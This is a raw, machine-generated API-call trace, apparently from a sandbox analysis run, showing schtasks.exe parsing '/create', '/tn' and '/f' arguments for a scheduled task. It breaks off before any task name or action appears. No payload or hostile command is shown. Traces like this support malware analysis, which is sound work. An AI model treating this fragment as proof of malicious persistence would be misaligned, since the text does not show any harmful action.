[0063.689] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|f|") returned 3 [0063.689] lstrlenW (lpString="|end|") returned 5 [0063.689] lstrlenW (lpString="|f|") returned 3 [0063.689] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0063.689] SetLastError (dwErrCode=0x490) [0063.689] lstrlenW (lpString="showsid") returned 7 [0063.689] lstrlenW (lpString="showsid") returned 7 [0063.689] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.689] lstrlenW (lpString="f") returned 1 [0063.689] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.689] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|showsid|") returned 9 [0063.690] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|f|") returned 3 [0063.690] lstrlenW (lpString="|showsid|") returned 9 [0063.690] lstrlenW (lpString="|f|") returned 3 [0063.690] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0063.690] SetLastError (dwErrCode=0x490) [0063.690] SetLastError (dwErrCode=0x490) [0063.690] SetLastError (dwErrCode=0x0) [0063.690] lstrlenW (lpString="/f") returned 2 [0063.690] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0063.690] SetLastError (dwErrCode=0x490) [0063.690] SetLastError (dwErrCode=0x0) [0063.690] lstrlenW (lpString="/f") returned 2 [0063.690] GetProcessHeap () returned 0x240000 [0063.690] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x6) returned 0x25df50 [0063.690] GetProcessHeap () returned 0x240000 [0063.690] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cee0 [0063.690] SetLastError (dwErrCode=0x0) [0063.690] GetProcessHeap () returned 0x240000 [0063.690] GetProcessHeap () returned 0x240000 [0063.690] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c330) returned 1 [0063.690] GetProcessHeap () returned 0x240000 [0063.690] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c330) returned 0x8 [0063.690] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c330 | out: hHeap=0x240000) returned 1 [0063.690] GetProcessHeap () returned 0x240000 [0063.690] GetProcessHeap () returned 0x240000 [0063.690] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd60) returned 1 [0063.690] GetProcessHeap () returned 0x240000 [0063.690] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd60) returned 0x20 [0063.691] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd60 | out: hHeap=0x240000) returned 1 [0063.691] GetProcessHeap () returned 0x240000 [0063.691] GetProcessHeap () returned 0x240000 [0063.691] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3c0) returned 1 [0063.691] GetProcessHeap () returned 0x240000 [0063.691] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c3c0) returned 0x10 [0063.691] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3c0 | out: hHeap=0x240000) returned 1 [0063.691] GetProcessHeap () returned 0x240000 [0063.691] GetProcessHeap () returned 0x240000 [0063.691] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd90) returned 1 [0063.691] GetProcessHeap () returned 0x240000 [0063.691] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd90) returned 0x20 [0063.692] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd90 | out: hHeap=0x240000) returned 1 [0063.692] GetProcessHeap () returned 0x240000 [0063.692] GetProcessHeap () returned 0x240000 [0063.692] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3e0) returned 1 [0063.692] GetProcessHeap () returned 0x240000 [0063.692] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c3e0) returned 0x8 [0063.692] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3e0 | out: hHeap=0x240000) returned 1 [0063.692] GetProcessHeap () returned 0x240000 [0063.692] GetProcessHeap () returned 0x240000 [0063.692] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cdc0) returned 1 [0063.692] GetProcessHeap () returned 0x240000 [0063.692] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cdc0) returned 0x20 [0063.693] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cdc0 | out: hHeap=0x240000) returned 1 [0063.693] GetProcessHeap () returned 0x240000 [0063.693] GetProcessHeap () returned 0x240000 [0063.693] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c400) returned 1 [0063.693] GetProcessHeap () returned 0x240000 [0063.693] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c400) returned 0xe [0063.693] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c400 | out: hHeap=0x240000) returned 1 [0063.693] GetProcessHeap () returned 0x240000 [0063.693] GetProcessHeap () returned 0x240000 [0063.693] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cdf0) returned 1 [0063.693] GetProcessHeap () returned 0x240000 [0063.693] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cdf0) returned 0x20 [0063.693] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cdf0 | out: hHeap=0x240000) returned 1 [0063.693] GetProcessHeap () returned 0x240000 [0063.693] GetProcessHeap () returned 0x240000 [0063.693] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c420) returned 1 [0063.694] GetProcessHeap () returned 0x240000 [0063.694] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c420) returned 0x8 [0063.694] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c420 | out: hHeap=0x240000) returned 1 [0063.694] GetProcessHeap () returned 0x240000 [0063.694] GetProcessHeap () returned 0x240000 [0063.694] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce20) returned 1 [0063.694] GetProcessHeap () returned 0x240000 [0063.694] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ce20) returned 0x20 [0063.694] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce20 | out: hHeap=0x240000) returned 1 [0063.694] GetProcessHeap () returned 0x240000 [0063.694] GetProcessHeap () returned 0x240000 [0063.694] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c440) returned 1 [0063.694] GetProcessHeap () returned 0x240000 [0063.694] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c440) returned 0x6 [0063.694] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c440 | out: hHeap=0x240000) returned 1 [0063.694] GetProcessHeap () returned 0x240000 [0063.695] GetProcessHeap () returned 0x240000 [0063.695] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce50) returned 1 [0063.695] GetProcessHeap () returned 0x240000 [0063.695] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ce50) returned 0x20 [0063.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce50 | out: hHeap=0x240000) returned 1 [0063.695] GetProcessHeap () returned 0x240000 [0063.695] GetProcessHeap () returned 0x240000 [0063.695] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c460) returned 1 [0063.695] GetProcessHeap () returned 0x240000 [0063.695] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c460) returned 0x8 [0063.695] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c460 | out: hHeap=0x240000) returned 1 [0063.695] GetProcessHeap () returned 0x240000 [0063.695] GetProcessHeap () returned 0x240000 [0063.695] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce80) returned 1 [0063.695] GetProcessHeap () returned 0x240000 [0063.695] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ce80) returned 0x20 [0063.696] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce80 | out: hHeap=0x240000) returned 1 [0063.696] GetProcessHeap () returned 0x240000 [0063.696] GetProcessHeap () returned 0x240000 [0063.696] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dec0) returned 1 [0063.696] GetProcessHeap () returned 0x240000 [0063.696] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dec0) returned 0x88 [0063.696] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dec0 | out: hHeap=0x240000) returned 1 [0063.696] GetProcessHeap () returned 0x240000 [0063.696] GetProcessHeap () returned 0x240000 [0063.696] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ceb0) returned 1 [0063.696] GetProcessHeap () returned 0x240000 [0063.696] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ceb0) returned 0x20 [0063.697] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ceb0 | out: hHeap=0x240000) returned 1 [0063.697] GetProcessHeap () returned 0x240000 [0063.697] GetProcessHeap () returned 0x240000 [0063.697] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25df50) returned 1 [0063.697] GetProcessHeap () returned 0x240000 [0063.697] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25df50) returned 0x6 [0063.697] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25df50 | out: hHeap=0x240000) returned 1 [0063.697] GetProcessHeap () returned 0x240000 [0063.697] GetProcessHeap () returned 0x240000 [0063.697] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cee0) returned 1 [0063.697] GetProcessHeap () returned 0x240000 [0063.697] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cee0) returned 0x20 [0063.697] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cee0 | out: hHeap=0x240000) returned 1 [0063.697] GetProcessHeap () returned 0x240000 [0063.697] GetProcessHeap () returned 0x240000 [0063.697] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255560) returned 1 [0063.697] GetProcessHeap () returned 0x240000 [0063.697] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255560) returned 0x18 [0063.697] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255560 | out: hHeap=0x240000) returned 1 [0063.698] SetLastError (dwErrCode=0x0) [0063.698] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0063.698] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0063.698] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0063.698] VerifyVersionInfoW (in: lpVersionInformation=0xdc370, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdc370) returned 1 [0063.698] SetLastError (dwErrCode=0x0) [0063.698] lstrlenW (lpString="create") returned 6 [0063.698] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0063.698] SetLastError (dwErrCode=0x490) [0063.698] SetLastError (dwErrCode=0x0) [0063.698] lstrlenW (lpString="create") returned 6 [0063.698] GetProcessHeap () returned 0x240000 [0063.698] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cee0 [0063.698] GetProcessHeap () returned 0x240000 [0063.698] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25d670 [0063.698] _memicmp (_Buf1=0x25d670, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.698] GetProcessHeap () returned 0x240000 [0063.698] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x16) returned 0x25d690 [0063.699] SetLastError (dwErrCode=0x0) [0063.699] _memicmp (_Buf1=0x25bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.699] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25bd60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0063.699] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0063.699] GetProcessHeap () returned 0x240000 [0063.699] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x74e) returned 0x25dec0 [0063.700] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x25dec0 | out: lpData=0x25dec0) returned 1 [0063.700] VerQueryValueW (in: pBlock=0x25dec0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdc458, puLen=0xdc4c0 | out: lplpBuffer=0xdc458*=0x25e25c, puLen=0xdc4c0) returned 1 [0063.700] _memicmp (_Buf1=0x25bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.700] _vsnwprintf (in: _Buffer=0x25bd60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdc438 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0063.700] VerQueryValueW (in: pBlock=0x25dec0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdc4c8, puLen=0xdc4b8 | out: lplpBuffer=0xdc4c8*=0x25e088, puLen=0xdc4b8) returned 1 [0063.700] lstrlenW (lpString="schtasks.exe") returned 12 [0063.700] lstrlenW (lpString="schtasks.exe") returned 12 [0063.700] lstrlenW (lpString=".EXE") returned 4 [0063.700] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0063.700] lstrlenW (lpString="schtasks.exe") returned 12 [0063.700] lstrlenW (lpString=".EXE") returned 4 [0063.700] lstrlenW (lpString="schtasks") returned 8 [0063.700] lstrlenW (lpString="/create") returned 7 [0063.700] _memicmp (_Buf1=0x25bbc0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.700] _vsnwprintf (in: _Buffer=0x25bd60, _BufferCount=0x19, _Format="%s %s", _ArgList=0xdc438 | out: _Buffer="schtasks /create") returned 16 [0063.700] _memicmp (_Buf1=0x25bbe0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.700] GetProcessHeap () returned 0x240000 [0063.701] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ceb0 [0063.701] _memicmp (_Buf1=0x25bc00, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.701] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x25d410, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0063.701] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0063.701] GetProcessHeap () returned 0x240000 [0063.701] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x30) returned 0x257c20 [0063.701] _vsnwprintf (in: _Buffer=0x25c160, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdc438 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0063.701] GetProcessHeap () returned 0x240000 [0063.701] GetProcessHeap () returned 0x240000 [0063.701] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dec0) returned 1 [0063.701] GetProcessHeap () returned 0x240000 [0063.701] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dec0) returned 0x74e [0063.701] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25dec0 | out: hHeap=0x240000) returned 1 [0063.701] SetLastError (dwErrCode=0x0) [0063.701] GetThreadLocale () returned 0x409 [0063.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.702] lstrlenW (lpString="create") returned 6 [0063.702] GetThreadLocale () returned 0x409 [0063.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.702] lstrlenW (lpString="?") returned 1 [0063.702] GetThreadLocale () returned 0x409 [0063.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.702] lstrlenW (lpString="s") returned 1 [0063.702] GetThreadLocale () returned 0x409 [0063.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.702] lstrlenW (lpString="u") returned 1 [0063.702] GetThreadLocale () returned 0x409 [0063.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.702] lstrlenW (lpString="p") returned 1 [0063.702] GetThreadLocale () returned 0x409 [0063.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.702] lstrlenW (lpString="ru") returned 2 [0063.702] GetThreadLocale () returned 0x409 [0063.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.702] lstrlenW (lpString="rp") returned 2 [0063.702] GetThreadLocale () returned 0x409 [0063.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.702] lstrlenW (lpString="sc") returned 2 [0063.702] GetThreadLocale () returned 0x409 [0063.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.703] lstrlenW (lpString="mo") returned 2 [0063.703] GetThreadLocale () returned 0x409 [0063.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.703] lstrlenW (lpString="d") returned 1 [0063.703] GetThreadLocale () returned 0x409 [0063.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.703] lstrlenW (lpString="m") returned 1 [0063.703] GetThreadLocale () returned 0x409 [0063.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.703] lstrlenW (lpString="i") returned 1 [0063.703] GetThreadLocale () returned 0x409 [0063.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.703] lstrlenW (lpString="tn") returned 2 [0063.703] GetThreadLocale () returned 0x409 [0063.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.703] lstrlenW (lpString="tr") returned 2 [0063.703] GetThreadLocale () returned 0x409 [0063.703] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.703] lstrlenW (lpString="st") returned 2 [0063.703] GetThreadLocale () returned 0x409 [0063.704] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.704] lstrlenW (lpString="sd") returned 2 [0063.704] GetThreadLocale () returned 0x409 [0063.704] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.704] lstrlenW (lpString="ed") returned 2 [0063.704] GetThreadLocale () returned 0x409 [0063.704] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.704] lstrlenW (lpString="it") returned 2 [0063.704] GetThreadLocale () returned 0x409 [0063.704] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.704] lstrlenW (lpString="et") returned 2 [0063.704] GetThreadLocale () returned 0x409 [0063.704] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.704] lstrlenW (lpString="k") returned 1 [0063.704] GetThreadLocale () returned 0x409 [0063.704] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.704] lstrlenW (lpString="du") returned 2 [0063.704] GetThreadLocale () returned 0x409 [0063.704] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.704] lstrlenW (lpString="ri") returned 2 [0063.704] GetThreadLocale () returned 0x409 [0063.704] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.704] lstrlenW (lpString="z") returned 1 [0063.704] GetThreadLocale () returned 0x409 [0063.704] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.704] lstrlenW (lpString="f") returned 1 [0063.705] GetThreadLocale () returned 0x409 [0063.705] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.705] lstrlenW (lpString="v1") returned 2 [0063.705] GetThreadLocale () returned 0x409 [0063.705] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.705] lstrlenW (lpString="xml") returned 3 [0063.705] GetThreadLocale () returned 0x409 [0063.705] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.705] lstrlenW (lpString="ec") returned 2 [0063.705] GetThreadLocale () returned 0x409 [0063.705] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.705] lstrlenW (lpString="rl") returned 2 [0063.705] GetThreadLocale () returned 0x409 [0063.705] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.705] lstrlenW (lpString="delay") returned 5 [0063.705] GetThreadLocale () returned 0x409 [0063.705] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0063.705] lstrlenW (lpString="np") returned 2 [0063.705] SetLastError (dwErrCode=0x0) [0063.705] SetLastError (dwErrCode=0x0) [0063.705] lstrlenW (lpString="/create") returned 7 [0063.705] lstrlenW (lpString="-/") returned 2 [0063.705] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0063.705] lstrlenW (lpString="create") returned 6 [0063.705] lstrlenW (lpString="create") returned 6 [0063.705] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.706] lstrlenW (lpString="create") returned 6 [0063.706] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.706] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|create|") returned 8 [0063.706] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|create|") returned 8 [0063.706] lstrlenW (lpString="|create|") returned 8 [0063.706] lstrlenW (lpString="|create|") returned 8 [0063.706] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0063.706] SetLastError (dwErrCode=0x0) [0063.706] SetLastError (dwErrCode=0x0) [0063.706] SetLastError (dwErrCode=0x0) [0063.706] lstrlenW (lpString="/tn") returned 3 [0063.706] lstrlenW (lpString="-/") returned 2 [0063.706] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0063.706] lstrlenW (lpString="create") returned 6 [0063.706] lstrlenW (lpString="create") returned 6 [0063.706] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.706] lstrlenW (lpString="tn") returned 2 [0063.706] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.706] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|create|") returned 8 [0063.706] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.706] lstrlenW (lpString="|create|") returned 8 [0063.706] lstrlenW (lpString="|tn|") returned 4 [0063.706] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0063.706] SetLastError (dwErrCode=0x490) [0063.706] lstrlenW (lpString="?") returned 1 [0063.707] lstrlenW (lpString="?") returned 1 [0063.707] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.707] lstrlenW (lpString="tn") returned 2 [0063.707] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.707] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|?|") returned 3 [0063.707] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.707] lstrlenW (lpString="|?|") returned 3 [0063.707] lstrlenW (lpString="|tn|") returned 4 [0063.707] SetLastError (dwErrCode=0x490) [0063.707] lstrlenW (lpString="s") returned 1 [0063.707] lstrlenW (lpString="s") returned 1 [0063.707] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.707] lstrlenW (lpString="tn") returned 2 [0063.707] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.707] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|s|") returned 3 [0063.707] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.707] lstrlenW (lpString="|s|") returned 3 [0063.707] lstrlenW (lpString="|tn|") returned 4 [0063.707] SetLastError (dwErrCode=0x490) [0063.707] lstrlenW (lpString="u") returned 1 [0063.707] lstrlenW (lpString="u") returned 1 [0063.707] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.707] lstrlenW (lpString="tn") returned 2 [0063.707] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.708] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|u|") returned 3 [0063.708] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.708] lstrlenW (lpString="|u|") returned 3 [0063.708] lstrlenW (lpString="|tn|") returned 4 [0063.708] SetLastError (dwErrCode=0x490) [0063.708] lstrlenW (lpString="p") returned 1 [0063.708] lstrlenW (lpString="p") returned 1 [0063.708] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.708] lstrlenW (lpString="tn") returned 2 [0063.708] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.708] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|p|") returned 3 [0063.708] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.708] lstrlenW (lpString="|p|") returned 3 [0063.708] lstrlenW (lpString="|tn|") returned 4 [0063.708] SetLastError (dwErrCode=0x490) [0063.708] lstrlenW (lpString="ru") returned 2 [0063.708] lstrlenW (lpString="ru") returned 2 [0063.708] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.708] lstrlenW (lpString="tn") returned 2 